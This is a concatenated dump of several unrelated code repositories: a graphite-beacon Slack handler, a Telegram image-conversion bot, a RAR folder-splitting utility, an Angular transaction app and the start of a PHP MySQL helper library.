['additional_user'] } } critical_message = handler.get_message('critical', alert, 42, target=0, ntype='graphite') assert critical_message.endswith(b'/cc <overridden_critical_user>, <additional_user>') warning_message = handler.get_message('warning', alert, 42, target=0, ntype='graphite') assert warning_message.endswith(b'/cc <overridden_warning_user>, <additional_user>') <file_sep>tornado == 4.4.2 funcparserlib==0.3.6 pyyaml==3.12 <file_sep>import json from tornado import httpclient as hc from tornado import gen from graphite_beacon.handlers import LOGGER, AbstractHandler from graphite_beacon.template import TEMPLATES def _nub(items): """Return new list containing unique elements of items, retaining order.""" seen = set() result = [] for item in items: if item not in seen: result.append(item) seen.add(item) return result class SlackHandler(AbstractHandler): name = 'slack' # Default options defaults = { 'webhook': None, 'channel': None, 'username': 'graphite-beacon', 'mentions_critical': [], 'mentions_warning': [], 'additional_mentions': [] } emoji = { 'critical': ':exclamation:', 'warning': ':warning:', 'normal': ':white_check_mark:', } @staticmethod def _make_channel_name(channel): if channel and not channel.startswith(('#', '@')): channel = '#' + channel return channel def init_handler(self): self.webhook = self.options.get('webhook') assert self.webhook, 'Slack webhook is not defined.' self.channel = self._make_channel_name(self.options.get('channel')) self.username = self.options.get('username') self.client = hc.AsyncHTTPClient() def get_message( self, level, alert, value, target=None, ntype=None, rule=None, mentions=None): msg_type = 'slack' if ntype == 'graphite' else 'short' mentions = ', '.join(['<{}>'.format(m) for m in self.get_mentions(level, alert)]) tmpl = TEMPLATES[ntype][msg_type] return tmpl.generate( level=level, reactor=self.reactor, alert=alert, mentions=mentions, value=value, target=target).strip() def get_mentions(self, level, alert): """Return a list of @-mentions to use in the slack message.""" level_mentions = level + '_mentions' mentions = self.options.get(level_mentions, []) if alert.override and self.name in alert.override: overrides = alert.override[self.name] mentions = overrides.get(level_mentions, mentions) mentions += overrides.get('additional_mentions', []) mentions = [username.strip() for username in mentions] mentions = [username for username in mentions if username] mentions = _nub(mentions) return mentions @gen.coroutine def notify(self, level, alert, *args, **kwargs): LOGGER.debug("Handler (%s) %s", self.name, level) channel = self.channel username = self.username if alert.override and self.name in alert.override: override = alert.override[self.name] channel = self._make_channel_name(override.get('channel', channel)) username = override.get('username', username) message = self.get_message(level, alert, *args, **kwargs) data = dict() data['username'] = username data['text'] = message data['icon_emoji'] = self.emoji.get(level, ':warning:') if channel: data['channel'] = channel body = json.dumps(data) yield self.client.fetch( self.webhook, method='POST', headers={'Content-Type': 'application/json'}, body=body )
12cd77da940c0b60e2082e88bf2d9afe7ee04399
[ "Python", "Text" ]
3
Python
sortable/graphite-beacon
3921c69bbc0c8d475233e1f3cbc82e3c27dff046
9e25ea5ceef5c6cb235c23eef9e542c2cb04b46d
refs/heads/master
<file_sep># ImageConversionBot Telegram bot for image conversion from jpg to png <file_sep>import telegram from telegram.ext import Updater,CommandHandler,MessageHandler,Filters import sqlite3 import json import requests from PIL import Image import logging token = "token" #insert API token here bot = telegram.Bot(token = token) updater = Updater(token = token, use_context = True) connection = sqlite3.connect('data.db',check_same_thread = False) logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO) logger = logging.getLogger(__name__) def start(bot,update): bot.send_message(chat_id = update.effective_chat.id , text = 'Hey!') def filereader(update,context): file = update.message.document print(file.mime_type) #print(file) #print(bot.getFile(file.file_id)) # file = update.message.document #update.message.document.get_file().download(custom_path) print(update.message.document.get_file()) update.message.document.get_file().download(custom_path = 'Documents/file.jpg') im = Image.open('/Users/saravananmano/Documents/file.jpg') im.save('/Users/saravananmano/Documents/file.png') #print(bot.send_photo(chat_id=update.effective_chat.id, photo=open('GTA.jpg'))) bot.send_document(chat_id=update.effective_chat.id, document=open('/Users/saravananmano/Documents/file.png', 'rb')) #im = Image.copy(file) # im.save('Foto.png') # print('Success') def error(update, context): """Log Errors caused by Updates.""" logger.warning('Update "%s" caused error "%s"', update, context.error) # updates = bot.get_updates() # print([u.message.photo for u in updates if u.message.photo]) #bot.sendP#print(bot) updater.dispatcher.add_handler(CommandHandler('start',start)) updater.dispatcher.add_handler(MessageHandler(Filters.document,filereader)) updater.dispatcher.add_error_handler(error) updater.start_polling()
82b702979875fbf366ab16907dd43cb3e4cf9909
[ "Markdown", "Python" ]
2
Markdown
maleskasihnama/ImageConversionBot
8411408b9c48ab2ec1b0e6483d71aa53f3f30d8a
ef40fa8c44e4f677e2d6ab967036dc4865b98996
refs/heads/master
<repo_name>ronioncloud/zipind<file_sep>/config_handler.py """ Create by: apenasrr Source: https://github.com/apenasrr/mass_videojoin """ import ast def config_file_parser_values(list_found, variable_name): list_found_parsed = [] dict_build = {} dict_values = {} for item in list_found: item_parsed = ast.literal_eval(item) if isinstance(item_parsed, dict): dict_values.update(item_parsed) else: list_found_parsed.append(item_parsed) if len(dict_values)!=0: dict_build[variable_name] = dict_values if len(list_found_parsed) != 0: dict_build[variable_name]['others'] = list_found_parsed else: dict_build[variable_name] = list_found_parsed return dict_build def handle_config_file(path_file, variable_name, set_value=None, parse=False): def get_updated_line(variable_name, set_value): if isinstance(set_value, dict): set_value_parsed = set_value else: set_value_parsed = set_value if isinstance(set_value_parsed, dict): updated_line = f"{variable_name}={set_value_parsed}\n" else: updated_line = f"{variable_name}='{set_value_parsed}'\n" return updated_line def get_str_value(line): line_components = line.split('=') str_value = line_components[1] str_value = str_value.replace("\n", '') return str_value def get_item_parsed(line): str_value = get_str_value(line) item_parsed = ast.literal_eval(str_value) return item_parsed def value_is_dict(item_parsed): is_dict = isinstance(item_parsed, dict) return is_dict def is_same_key(item_parsed, set_value): key_item_parsed = next(iter(item_parsed)) key_set_value = next(iter(set_value)) same_key = key_item_parsed == key_set_value return same_key config_file = open(path_file, 'r+') content_lines = [] list_found = [] dont_found = True if set_value: updated_line = get_updated_line(variable_name, set_value) for line in config_file: if f'{variable_name}=' in line: item_parsed = get_item_parsed(line) if value_is_dict(item_parsed): if is_same_key(item_parsed, set_value): dont_found = False content_lines.append(updated_line) else: content_lines.append(line) else: # TODO if value_is_list # TODO add item to list # else dont_found = False content_lines.append(updated_line) else: content_lines.append(line) if dont_found: # include variable_name and value at botton of file content_lines.append(updated_line) # save and finish file config_file.seek(0) config_file.truncate() config_file.writelines(content_lines) config_file.close() else: for line in config_file: if f'{variable_name}=' in line: str_value = get_str_value(line) list_found.append(str_value) # finish file and return value config_file.close() if parse: dict_build = config_file_parser_values(list_found, variable_name) return dict_build else: dict_build = {} dict_build[variable_name] = list_found return dict_build <file_sep>/zipind.py """ Create by: apenasrr Source: https://github.com/apenasrr/zipind Compresses a folder into independent parts. Works in hybrid mode: -Compact folder dividing into independent parts, grouping your files in alphanumeric order. -Respects the ordering of folders and files. -Respects the internal structure of folders -If any file is larger than the defined maximum size, the specific file is partitioned in dependent mode. Requirement: -Have Winrar installed Support: Compression only to .rar Last_update: 2020-10-31 Do you wish to buy a coffee to say thanks? LBC (from LBRY) digital Wallet > bFmGgebff4kRfo5pXUTZrhAL3zW2GXwJSX We recommend: mises.org - Educate yourself about economic and political freedom lbry.tv - Store files and videos on blockchain ensuring free speech https://www.activism.net/cypherpunk/manifesto.html - How encryption is essential to Free Speech and Privacy """ import os import subprocess from config_handler import handle_config_file import unidecode def save_txt(str_content, str_name): # UTF-8 can't handle with the follow caracter in a folder name:  text_file = open(f"{str_name}.txt", "w", encoding='utf_16') text_file.write(str_content) text_file.close() def ensure_folder_existence(folders_path): for folder_path in folders_path: existence = os.path.isdir(folder_path) if existence is False: os.mkdir(folder_path) def ensure_folders_existence(folder_script_path): folders_name = ['config', 'output'] list_folders_name_abs = [] for folder_name in folders_name: list_folders_name_abs.append(os.path.join(folder_script_path, folder_name)) ensure_folder_existence(list_folders_name_abs) def create_rar_single_file(path_file_rar, path_origin, max_size=None): create_rar_file(path_file_rar, '"' + path_origin + '"', max_size=max_size) def create_rar_file_from_list_file(path_file_rar, list_files, max_size=None): if len(list_files) > 1: stringa = '\n\n'.join(list_files) save_txt(stringa, 'files_to_zip') file = 'files_to_zip.txt' create_rar_file(path_file_rar, f'@{file}', max_size) os.remove(file) else: path_file_list = list_files[0] create_rar_file(path_file_rar, f'"{path_file_list}"', max_size) def clean_cmd(): clear = lambda: os.system('cls') clear() def get_config_max_file_size(path_file_config): max_file_size = handle_config_file(path_file_config, 'file_size', parse=True) max_file_size = max_file_size['file_size'][0] max_file_size = int(max_file_size) return max_file_size def get_config_dir_output(path_file_config): dir_output = handle_config_file(path_file_config, 'dir_output', parse=True) dir_output = dir_output['dir_output'][0] if dir_output == '': return None else: return dir_output def set_config_max_file_size(path_file_config, max_file_size): handle_config_file(path_file_config, 'file_size', max_file_size) def set_config_path_dir_output(path_file_config, path_dir_output): handle_config_file(path_file_config, 'dir_output', path_dir_output) def ask_mb_file(): mb_per_file = int(input('Type the maximum size per part in MB ' + '(Ex.: 400): ')) return mb_per_file def ask_path_dir_output(): path_dir_output = input('Paste the folder path where the compressed ' + 'files should be saved: \n') # TODO test dir return path_dir_output def define_path_dir_output(path_file_config, path_dir_output): if path_dir_output is not None: repeat_path_dir_output = \ input(f'\n{path_dir_output}\n' + f'Compress files in the folder above? y/n ') print('') if repeat_path_dir_output == 'n': path_dir_output = ask_path_dir_output() set_config_path_dir_output(path_file_config, path_dir_output) else: path_dir_output = ask_path_dir_output() set_config_path_dir_output(path_file_config, path_dir_output) return path_dir_output def define_mb_per_file(path_file_config, mb_per_file): if mb_per_file is not None: repeat_size = input(f'Compact in {mb_per_file} ' + f'MB per file? y/n ') print('') if repeat_size == 'n': mb_per_file = ask_mb_file() set_config_max_file_size(path_file_config, mb_per_file) else: mb_per_file = ask_mb_file() set_config_max_file_size(path_file_config, mb_per_file) return mb_per_file def extension_to_ignore(file): def get_ignore_extensions(): def get_file_ignore_extensions(): #TODO fix folder_script_path = get_folder_script_path() folder_path = 'config' file_name = 'ignore_extensions.txt' file_path = os.path.join(folder_script_path, folder_path, file_name) file = open(file_path, "r", encoding='utf_8') list_file = file.readlines() file.close() return list_file list_extension = [] file = get_file_ignore_extensions() for line in file: line_lower = line.lower() if line_lower.startswith('#'): pass else: list_extension = tuple(line_lower.split(',')) break return list_extension list_ignore_extensions = get_ignore_extensions() file_lower = file.lower() if len(list_ignore_extensions) == 0: return False elif file_lower.endswith(list_ignore_extensions): return True else: return False def get_folder_name_normalized(path_dir): def normalize_string_to_link(string_actual): string_new = unidecode.unidecode(string_actual) for c in r"!@#$%^&*()[]{};:,./<>?\|`~-=_+": string_new = string_new.translate({ord(c): "_"}) string_new = string_new.replace(' ', '_') string_new = string_new.replace('___', '_') string_new = string_new.replace('__', '_') return string_new dir_name = os.path.basename(path_dir) dir_name_normalize = normalize_string_to_link(dir_name) return dir_name_normalize def zipind(path_dir, mb_per_file=999, path_dir_output=None): """ Compresses a folder into independent parts. Requirement: Have Winrar installed :input: path_dir: String. Folder path :input: mb_per_file: Integer. Max size of each rar file :input: path_dir_output: String. Folder path output :return: None """ abs_path_dir = os.path.abspath(path_dir) abs_path_dir_mother = os.path.dirname(abs_path_dir) dir_name_base = os.path.basename(abs_path_dir) # if destination folder is not specified, # use the parent of the source folder if path_dir_output is None: rar_path_file_name_base = os.path.join(abs_path_dir_mother, dir_name_base) else: dir_name_base = get_folder_name_normalized(dir_name_base) rar_path_file_name_base = os.path.join(path_dir_output, dir_name_base) zip_file_no = 1 bytesprocessed = 0 bytesperfile = mb_per_file * (1024**2) rar_path_file_name = f'{rar_path_file_name_base}-%03d.rar' % zip_file_no list_path_files = [] do_create_rar_by_list = False do_create_rar_by_single = False for root, dirs, files in os.walk(path_dir): for file in files: file_lower = file.lower() if extension_to_ignore(file_lower): continue path_file = os.path.join(root, file) filebytes = os.path.getsize(path_file) # list_file it's about to get too big? compact before if bytesprocessed + filebytes > bytesperfile: do_create_rar_by_list = True do_create_rar_by_single = False if filebytes > bytesperfile: do_create_rar_by_single = True do_create_rar_by_list = False if do_create_rar_by_list: # make dir with files in list print(f'Creating... {rar_path_file_name}\n') create_rar_file_from_list_file(rar_path_file_name, list_path_files, mb_per_file) bytesprocessed = 0 list_path_files = [] do_create_rar_by_list = False # configure to next file rar zip_file_no += 1 rar_path_file_name = \ f'{rar_path_file_name_base}-%03d.rar' % zip_file_no do_create_rar_by_single = False # add focus file to another list print(f'Add file {path_file}') list_path_files.append(path_file) bytesprocessed += filebytes # skip to another file continue if do_create_rar_by_single: if len(list_path_files) > 0: print(f'Creating... {rar_path_file_name}\n') create_rar_file_from_list_file(rar_path_file_name, list_path_files, mb_per_file) # Configure to next file rar zip_file_no += 1 rar_path_file_name = \ f'{rar_path_file_name_base}-%03d.rar' % zip_file_no bytesprocessed = 0 list_path_files = [] print(f'{file}\nThe file above is too big. ' + f'Spliting...\n') create_rar_single_file(rar_path_file_name, path_file, (mb_per_file)) # configure to next file rar zip_file_no += 1 rar_path_file_name = \ f'{rar_path_file_name_base}-%03d.rar' % zip_file_no do_create_rar_by_single = False # skip to another file continue # Case list not full and focus file is small # put file in list print(f'Add file {path_file}') list_path_files.append(path_file) bytesprocessed += filebytes # in last file, if list was not empty if len(list_path_files) > 0: # make dir with files in list print(f'Creating... {rar_path_file_name}') create_rar_file_from_list_file(rar_path_file_name, list_path_files, mb_per_file) def create_rar_file(path_file_rar, path_origin, max_size=None): if max_size is None: str_max_size = '' else: max_size = max_size * ((1024**2)/(10**6)) # keep only 3 decimal to avoid bug in winrar api decimal_limit = 3 max_size = int(max_size*(10**decimal_limit))/(10**decimal_limit) str_max_size = str(max_size) # -ep0 -> preserve folders structure # -ep1 -> ignore folders structure. copy only files subprocess.call(f'"%ProgramFiles%\\WinRAR\\Rar.exe" a -cfg- -ep0 -inul ' + f'-m0 -md4m -mt5 -r -s -v{str_max_size}M "{path_file_rar}" ' + f'{path_origin}', shell=True) def get_folder_script_path(): folder_script_path_relative = os.path.dirname(__file__) folder_script_path = os.path.realpath(folder_script_path_relative) return folder_script_path def main(): folder_script_path = get_folder_script_path() path_file_config = os.path.join(folder_script_path, 'config', 'config.txt') mb_per_file = get_config_max_file_size(path_file_config) path_dir_output = get_config_dir_output(path_file_config) ensure_folders_existence(folder_script_path) while True: print('Zipind - From a folder, make a splited ZIP with INDependent ' + 'parts\n') # ::. Configuration path_dir_input = input('Paste the folder path to be compressed: ') path_dir_output = define_path_dir_output(path_file_config, path_dir_output) mb_per_file = define_mb_per_file(path_file_config, mb_per_file) # ::. Start the partition operation print(f'Compressing in parts with max size of {mb_per_file} MB...\n') zipind(path_dir_input, mb_per_file, path_dir_output) # ::. Repeat or Finish # Condition to repeat or end the script n_for_quit = input('\nZipind successfully applied zip generating ' + 'independent parts.\n '+ 'Apply Zipind to another folder? y/n\n') if n_for_quit == 'n': return # Clean cmd screen clean_cmd() if __name__ == "__main__": main() <file_sep>/README.md # zipind Zipind - From a folder, make a splited ZIP with INDependent parts Source: https://github.com/apenasrr/zipind Compresses a folder into independent parts. Works in hybrid mode with features: -Compact folder dividing into independent parts, grouping your files in alphanumeric order. -Respects the ordering of folders and files. -Respects the internal structure of folders. -If any file is larger than the defined maximum size, the specific file is partitioned in dependent mode. -Set file types to be ignored in compression (config/ignore_extensions.txt) Requirement: -Have Winrar installed Support: -Compression only to .rar Last_update: 2020-10-31 --- Do you wish to buy a coffee to say thanks? LBC (from LBRY) digital Wallet > bFmGgebff4kRfo5pXUTZrhAL3zW2GXwJSX ### We recommend: [mises.org](https://mises.org/) - Educate yourself about economic and political freedom [lbry.tv](http://lbry.tv/) - Store files and videos on blockchain ensuring free speech [A Cypherpunk's Manifesto](https://www.activism.net/cypherpunk/manifesto.html) - How encryption is essential to Free Speech and Privacy
324ed0dbd4b8bdbc8d9b4e278d07408640b04ef7
[ "Markdown", "Python" ]
3
Python
ronioncloud/zipind
3e5812d9a8e250cf9ded4d47519e43c7482614a3
8bbf88f8658fe7598f61a2474165c5be83d0025f
refs/heads/master
<repo_name>senthilpsg/taxback<file_sep>/src/app/transaction-list/transaction-list.component.ts import { Component, OnInit } from '@angular/core'; import {TransactionService} from '../transaction.service'; import { Transaction } from '../transaction'; @Component({ selector: 'app-transaction-list', templateUrl: './transaction-list.component.html', styleUrls: ['./transaction-list.component.css'] }) export class TransactionListComponent implements OnInit { public transactions: Transaction[]; public user: string; constructor(private trans: TransactionService) { } ngOnInit() { this.getTransactions(); } getTransactions(){ this.trans.getAllTransactions().subscribe( trans =>{ this.transactions = trans; console.log(this.transactions); } ); } delete(id){ this.trans.deleteTransaction(id).subscribe( res => this.getTransactions() ); } } <file_sep>/src/app/transaction-create-edit/transaction-create-edit.component.ts import { Component, OnInit } from '@angular/core'; import { Transaction } from '../transaction'; import { TransactionService } from '../transaction.service'; import { ActivatedRoute } from '@angular/router'; import { Router } from "@angular/router"; @Component({ selector: 'app-transaction-create-edit', templateUrl: './transaction-create-edit.component.html', styleUrls: ['./transaction-create-edit.component.css'] }) export class TransactionCreateEditComponent implements OnInit { public transaction: Transaction = new Transaction(); public title: string = "Create Transaction"; public showSuccess: Boolean = false; public showPostError: Boolean = false; public error: string = ''; public displayAsChild: boolean = false ; constructor( private transactionService: TransactionService, private routeParams: ActivatedRoute, private route: Router ) { } ngOnInit() { let id= this.routeParams.snapshot.paramMap.get('id'); if(id){ this.title = "Edit Transaction"; this.transactionService.getTransaction(Number(id)).subscribe( trans => { this.transaction = trans; console.log('edit',trans); } ); } else{ this.transaction.email = this.transactionService.getUser(); } } submit() { console.log('submit', this.transaction); if(this.transaction.id) this.updateTransaction(); else { //this.transaction.email = this.transactionService.getUser(); this.createTransaction(); } } createTransaction() { this.transactionService.addTransaction(this.transaction).subscribe( data =>{ console.log('created transaction'); this.route.navigate(['/list']); } );; } updateTransaction() { this.transactionService.updateTransaction(this.transaction).subscribe( data => this.route.navigate(['/list']) ); } } <file_sep>/src/app/transaction.ts export class Transaction{ id: string; email: string; amount: string; currency: string; date: string; }<file_sep>/src/app/menu/menu.component.ts import { Component, OnInit } from '@angular/core'; import { TransactionService } from '../transaction.service'; import { transformAll } from '@angular/compiler/src/render3/r3_ast'; @Component({ selector: 'app-menu', templateUrl: './menu.component.html', styleUrls: ['./menu.component.css'] }) export class MenuComponent implements OnInit { constructor(private trans: TransactionService) { } ngOnInit() { } logout(){ this.trans.logout(); } isLogged(){ if(this.trans.getUser()){ return true; } else { return false; } } } <file_sep>/src/app/app-routing.module.ts import { NgModule } from '@angular/core'; import { Routes, RouterModule } from '@angular/router'; import { TransactionViewComponent } from './transaction-view/transaction-view.component'; import { TransactionListComponent } from './transaction-list/transaction-list.component'; import { LoginComponent } from './login/login.component'; import {TransactionCreateEditComponent} from './transaction-create-edit/transaction-create-edit.component'; const routes: Routes = [ {path:'view/:id', component: TransactionViewComponent }, {path:'list', component: TransactionListComponent }, {path:'create', component: TransactionCreateEditComponent }, {path:'edit/:id', component: TransactionCreateEditComponent }, {path:'edit', redirectTo: '/list', pathMatch: 'full' }, {path:'', component: LoginComponent }, ]; @NgModule({ imports: [RouterModule.forRoot(routes)], exports: [RouterModule] }) export class AppRoutingModule { } <file_sep>/src/app/app.module.ts import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { HttpClientModule } from '@angular/common/http'; import { AppRoutingModule } from './app-routing.module'; import { AppComponent } from './app.component'; import { TransactionListComponent } from './transaction-list/transaction-list.component'; import { TransactionViewComponent } from './transaction-view/transaction-view.component'; import { TransactionCreateEditComponent } from './transaction-create-edit/transaction-create-edit.component'; import { MenuComponent } from './menu/menu.component'; import { LoginComponent } from './login/login.component'; import { FormsModule } from '@angular/forms'; @NgModule({ declarations: [ AppComponent, TransactionListComponent, TransactionViewComponent, TransactionCreateEditComponent, MenuComponent, LoginComponent ], imports: [ BrowserModule, AppRoutingModule, HttpClientModule, FormsModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } <file_sep>/README.md # Taxback This project was generated with [Angular CLI](https://github.com/angular/angular-cli) version 7.2.3. ## Steps to install 1. `git clone https://github.com/senthilpsg/taxback` 2. `cd taxback` 3. `npm install` 4. `ng serve --open` 5. Open browser and Navigate to `http://localhost:4200/`. <file_sep>/src/app/login/login.component.ts import { Component, OnInit } from '@angular/core'; import { TransactionService } from '../transaction.service'; import {Router} from "@angular/router"; @Component({ selector: 'app-login', templateUrl: './login.component.html', styleUrls: ['./login.component.css'] }) export class LoginComponent implements OnInit { public email:string; constructor(private trans: TransactionService, private route: Router ) { } ngOnInit() { } login(){ this.trans.setUser(this.email); this.route.navigate(['/list']); } } <file_sep>/src/app/transaction.service.ts import { Injectable } from '@angular/core'; import { Observable, of } from 'rxjs'; import { HttpClient, HttpHeaders } from '@angular/common/http'; import { map, catchError, tap } from 'rxjs/operators'; import { Transaction } from './transaction'; import { Router } from "@angular/router"; const httpOptions = { headers: new HttpHeaders({ 'Content-Type': 'application/json' }) } @Injectable({ providedIn: 'root' }) export class TransactionService { private user: string = null; constructor(private http: HttpClient, private route: Router) { let temp = localStorage.getItem('userEmail'); //this.user = '<EMAIL>'; if (!this.user && temp) this.user = temp; if (!this.user) this.route.navigate(['/']); } setUser(user: string): void { this.user = user; localStorage.setItem('userEmail', user); } getUser(): string { return this.user; } getAllTransactions(): Observable<any> { let url = 'https://jointhecrew.in/api/txns/' + this.user; return this.http.get(url).pipe( map(res => res || {}) ); } getTransaction(id: number): Observable<any> { let url = 'https://jointhecrew.in/api/txns/' + this.user + "/" + id; return this.http.get(url).pipe( map(res => res || {}) ); } addTransaction(trans: Transaction): Observable<any> { let url = 'https://jointhecrew.in/api/txns/' + this.user; return this.http.post(url, JSON.stringify(trans)).pipe( ); } updateTransaction(trans: Transaction): Observable<any> { let url = 'https://jointhecrew.in/api/txns/' + this.user + "/" + trans.id; return this.http.post(url, JSON.stringify(trans)); } deleteTransaction(id){ let url = 'https://jointhecrew.in/api/txns/' + this.user + "/" + id; return this.http.delete(url); } clearCache(){ localStorage.removeItem('userEmail'); } logout(){ this.clearCache(); this.route.navigate(['/']); } }
c5d38bcee0a25543865b1a8e6a652fc61d4f35e7
[ "Markdown", "TypeScript" ]
9
TypeScript
senthilpsg/taxback
74f32720e9092983f0f5ff2e078bde1ea592aa75
f4f34728006c9b954daf77e79a4562c6d2b3dd56
refs/heads/master
<file_sep>import os import json from flask import Flask from chatterbot import ChatBot from flask import request from flask import jsonify databaseURI=os.environ['MONGODB_URI'] databaseName=os.environ['MONGODB_DB_NAME'] print(databaseURI) print(databaseName) bot = ChatBot("Chattest", output_format="text", storage_adapter="chatterbot.adapters.storage.MongoDatabaseAdapter", database_uri=databaseURI, database=databaseName, logic_adapters=["chatterbot.adapters.logic.ClosestMatchAdapter", "chatterbot.adapters.logic.ClosestMeaningAdapter", "chatterbot.adapters.logic.ApproximateSentenceMatchAdapter", "chatterbot.adapters.logic.TimeLogicAdapter", "chatterbot.adapters.logic.MathematicalEvaluation"], filters=["chatterbot.filters.RepetitiveResponseFilter"]) app = Flask(__name__) @app.route("/") def hello(): userWord = request.args.get('key', '') answer = bot.get_response(userWord).encode('utf-8') retVal = {'answer': answer} return jsonify(retVal) if __name__ == "__main__": port = int(os.environ.get("PORT", 5000)) app.run(host='0.0.0.0', port=port)
4c54b135aaa97628127f40cd87737d2fcb0dffef
[ "Python" ]
1
Python
lyahim/python-app
1feabb438417d9d9c3e8492ad1a157e3ac94d3ca
6d54279a9884d59c5711a425bc8b3f57e5b7ed2c
refs/heads/master
<repo_name>alieneby/alien-framework-code<file_sep>/DbFunctions.php <?php if ( ! function_exists( 'dbQuery' ) && ! empty ( Config::$_DB_DB ) ) { Log::info( "mysqli", __METHOD__, __LINE__, __FILE__ ); class AlienDB { /* @var $_linkId int|mysqli */ static $_linkId = 0; static $_strDbErrMsg = ''; static $_dbTimeQueryEnd = 0; static $_DB_LAST_INSERT_ID = 0; static $_DB_AFFECTED_ROWS = 0; static $_DB_LAST_SINGLE_STR = ''; static $_FILE_BASENAME; static $_strGeneratedDbClassesPath; // basename of directory eg. 'dbGenated' static function init() { self::$_FILE_BASENAME = basename( __FILE__ ); self::$_strGeneratedDbClassesPath = empty( Config::$_strGeneratedDbClassesPath ) ? '/-/' : '/' . basename( realpath( Config::$_strGeneratedDbClassesPath ) ) . '/'; } } AlienDB::init(); /** */ function dbConnector() { Log::info( "started", __METHOD__, __LINE__, __FILE__ ); if ( AlienDB::$_linkId ) { return AlienDB::$_linkId; } AlienDB::$_linkId = mysqli_connect( Config::$_DB_HOST, Config::$_DB_USER, Config::$_DB_PWD, Config::$_DB_DB, empty( Config::$_DB_PORT ) ? 0 : Config::$_DB_PORT ); if ( AlienDB::$_linkId ) { Log::info( "db connected", __METHOD__, __LINE__, __FILE__ ); mysqli_set_charset( AlienDB::$_linkId, "utf8" ); // We not support: STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE!!!! mysqli_query( AlienDB::$_linkId, "SET SESSION sql_mode='ONLY_FULL_GROUP_BY,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION'" ); } else { Log::systemError( Config::$_DB_USER . ":" .Config::$_DB_PWD . "@" . Config::$_DB_HOST . "/" .Config::$_DB_DB ); Log::systemError( "Can not connect to database", __METHOD__, __LINE__, __FILE__ ); } return AlienDB::$_linkId; } /** * Execute SQL query and return result of mysqli_query(). * Do also some time log, debug and error handling things. * @param string $strQuery * @param bool $fDebug true add sql to debug container, false = do not log sql. * @param int|mysqli $myLinkId * @return mixed Result of mysqli_query */ function dbQuery( $strQuery, $fDebug = true, $myLinkId = 0 ) { AlienDB::$_DB_LAST_INSERT_ID = AlienDB::$_DB_AFFECTED_ROWS = 0; $myLinkId = $myLinkId ? $myLinkId : AlienDB::$_linkId; if ( ! $myLinkId ) { return Log::systemError( "No database link!", __METHOD__, __LINE__, __FILE__ ); } $strQuery = trim( $strQuery ); list( $strMethod, $strLine, $strFile, $strCaller ) = dbQueryCaller(); $fErr = false; $cmd = stripos( $strQuery, 'elect' ) == 1 ? 's' : ( stripos( $strQuery, 'nsert' ) == 1 ? 'i' : ( stripos( $strQuery, 'pdate' ) == 1 ? 'u' : ( stripos( $strQuery, 'elete' ) == 1 ? 'd' : ( stripos( $strQuery, 'eplace' ) == 1 ? 'r' : "" ) ) ) ); $t1 = microtime( true ); if ( $fDebug ) Log::info( $strQuery, $strMethod, $strLine, $strFile ); $return = mysqli_query( $myLinkId, $strQuery . " /* $strCaller */" ); AlienDB::$_dbTimeQueryEnd = microtime( true ); $strSeconds = sprintf( "%.4f", ( microtime( true ) - $t1 ) ); if ( mysqli_errno( $myLinkId ) ) { $fErr = true; if ( empty( Config::$_DB_DB ) ) Log::systemError( "PLEASE SET Config::_DB* values!!!", $strMethod, $strLine, $strFile ); else { AlienDB::$_strDbErrMsg = '[' . mysqli_errno( $myLinkId ) . '] ' . mysqli_error( $myLinkId ); Log::systemError( $strQuery . "<br>\n" . AlienDB::$_strDbErrMsg, $strMethod, $strLine, $strFile ); } } if ( ! $fErr ) { AlienDB::$_strDbErrMsg = ''; if ( ( $cmd == 'i' ) && $return ) { AlienDB::$_DB_LAST_INSERT_ID = mysqli_insert_id( $myLinkId ); AlienDB::$_DB_AFFECTED_ROWS = mysqli_affected_rows( $myLinkId ); } if ( $cmd == "s" && $return ) { $n = @mysqli_num_rows( $return ); if ( $n == 1 && mysqli_num_fields( $return ) == 1 ) { list( AlienDB::$_DB_LAST_SINGLE_STR ) = mysqli_fetch_array( $return, MYSQLI_NUM ); mysqli_data_seek( $return, 0 ); Log::info( "[value:" . AlienDB::$_DB_LAST_SINGLE_STR . "] found $n db rec in $strSeconds sec", $strMethod, $strLine, $strFile ); } else { Log::info( "found $n db rec in $strSeconds sec", $strMethod, $strLine, $strFile ); } } elseif ( $cmd && strpos( "iudr", $cmd ) !== false && $return ) { AlienDB::$_DB_AFFECTED_ROWS = @mysqli_affected_rows( $myLinkId ); Log::info( "modified " . @mysqli_affected_rows( $myLinkId ) . " db rec in $strSeconds sec", $strMethod, $strLine, $strFile ); } else { AlienDB::$_DB_AFFECTED_ROWS = @mysqli_affected_rows( $myLinkId ); Log::info( "$strSeconds sec", $strMethod, $strLine, $strFile ); } } return $return; } function dbInsertId() { return AlienDB::$_DB_LAST_INSERT_ID; } function dbAffectedRows() { return AlienDB::$_DB_AFFECTED_ROWS; } function dbEscStr( $str ) { return mysqli_real_escape_string( AlienDB::$_linkId, $str ); } function dbUnEscStr( $str ) { return stripslashes( $str ); } /** * Execute SQL query and return first row as array (default is MYSQLI_ASSOC). * @param string $strQuery * @param int|mysqli $linkID * @param int $resultType (optional) Possible values are MYSQLI_ASSOC, MYSQLI_NUM, or MYSQLI_BOTH * @return array Result of SQL (Perhaps empty, but never false or null). */ function dbQueryOne( $strQuery, $linkID = 0, $resultType = MYSQLI_ASSOC ) { if ( strpos( $strQuery, " limit 0, 1" ) === false ) { $strQuery .= " limit 0, 1"; } $result = dbQuery( $strQuery, true, $linkID ); if ( $result && $row = mysqli_fetch_array( $result, $resultType ) ) { dbFreeResult( $result ); return $row; } else { return array(); } } /** * Return the first row as indexed array * @param string $strQuery * @param int|mysqli $linkID * @return array Only the first row */ function dbQueryOneList( $strQuery, $linkID = 0 ) { return dbQueryOne( $strQuery, $linkID, MYSQLI_NUM ); } /** * Execute SQL query and return first data string of first row. * @param string $strQuery * @param int|mysqli $linkID * @return string Result of SQL */ function dbQueryOneStr( $strQuery, $linkID = 0 ) { AlienDB::$_DB_LAST_SINGLE_STR = ''; if ( strpos( $strQuery, " limit 0, 1" ) === false ) { $strQuery .= " limit 0, 1"; } $result = dbQuery( $strQuery, true, $linkID ); if ( $result ) mysqli_free_result( $result ); return AlienDB::$_DB_LAST_SINGLE_STR; } /** * Execute SQL query and return result in one string * @param string $strQuery * @param string $strColSep * @param string $strRowSep * @return string Result of SQL */ function 